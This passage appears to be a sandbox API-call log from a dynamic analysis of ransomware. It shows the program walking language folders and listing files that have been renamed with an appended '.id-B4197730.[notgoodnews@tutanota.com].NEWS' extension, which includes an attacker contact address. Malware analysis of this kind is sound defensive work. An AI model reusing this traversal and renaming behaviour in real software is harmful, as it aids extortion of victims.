ftLastAccessTime.dwLowDateTime=0x38d26764, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d26764, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xe44, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.339] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38d26764, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38d26764, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d4b6fe, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x142a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.339] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38cff763, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38cff763, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38cff763, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.340] FindNextFileW (in: hFindFile=0x484798, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38cff763, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38cff763, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38cff763, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.340] FindClose (in: hFindFile=0x484798 | out: hFindFile=0x484798) returned 1 [0157.341] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.341] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38d71899, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d71899, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1032", cAlternateFileName="")) returned 1 [0157.341] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.341] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38d71899, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d71899, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484298 [0157.342] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38d71899, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d71899, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.342] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38d4b6fe, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38d4b6fe, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38d71899, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x2394, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.342] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38d71899, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38d71899, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391c3e95, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x15206, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.342] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396aeaf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396aeaf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396aeaf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.342] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396aeaf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396aeaf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396aeaf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4c58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.342] FindClose (in: hFindFile=0x484298 | out: hFindFile=0x484298) returned 1 [0157.343] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.343] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1033", cAlternateFileName="")) returned 1 [0157.343] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.344] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4843d8 [0157.345] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.345] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38f30272, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38f30272, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f3b485, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xd64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.345] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38f618c4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38f618c4, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12eb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.345] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39341501, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39341501, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39341501, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.345] FindNextFileW (in: hFindFile=0x4843d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x39341501, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x39341501, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39341501, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.345] FindClose (in: hFindFile=0x4843d8 | out: hFindFile=0x4843d8) returned 1 [0157.346] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.346] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3947278f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3947278f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1035", cAlternateFileName="")) returned 1 [0157.346] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.346] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3947278f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3947278f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484358 [0157.347] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x3947278f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3947278f, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.347] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38f618c4, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38f618c4, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3957d995, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.347] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x3953138c, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3953138c, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3953138c, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x12dd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.347] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396aeaf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396aeaf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396aeaf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.348] FindNextFileW (in: hFindFile=0x484358, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396aeaf2, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396aeaf2, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396aeaf2, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.348] FindClose (in: hFindFile=0x484358 | out: hFindFile=0x484358) returned 1 [0157.348] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.348] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ffa0ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1036", cAlternateFileName="")) returned 1 [0157.348] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.348] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1036\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ffa0ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484298 [0157.349] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ffa0ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.349] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38fadd16, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38fadd16, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38fadd16, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.349] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38fd3dd3, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38fd3dd3, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38fd3dd3, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x14516, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.350] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396d4d60, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396d4d60, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396d4d60, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.350] FindNextFileW (in: hFindFile=0x484298, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396d4d60, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396d4d60, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396d4d60, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4a58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.350] FindClose (in: hFindFile=0x484298 | out: hFindFile=0x484298) returned 1 [0157.350] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.350] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39282962, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39282962, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1037", cAlternateFileName="")) returned 1 [0157.350] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.351] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1037\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39282962, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39282962, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484558 [0157.456] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x39282962, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39282962, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.456] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38ffa0ff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x38ffa0ff, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x1bb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="EULART~1.NEW")) returned 1 [0157.456] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x38ffa0ff, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x38ffa0ff, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x39282962, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x11a86, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="LOCALI~1.NEW")) returned 1 [0157.456] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396d4d60, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396d4d60, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396d4d60, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 1 [0157.456] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x396d4d60, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x396d4d60, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x396d4d60, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x4258, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="SETUPR~1.NEW")) returned 0 [0157.456] FindClose (in: hFindFile=0x484558 | out: hFindFile=0x484558) returned 1 [0157.457] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0157.457] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x391e9ef8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1038", cAlternateFileName="")) returned 1 [0157.457] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fd0988 [0157.457] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x391e9ef8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484758 [0157.458] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x391e9ef8, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x391e9ef8, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.458] FindNextFileW (in: hFindFile=0x484758, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x391c3e95, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x391c3e95, 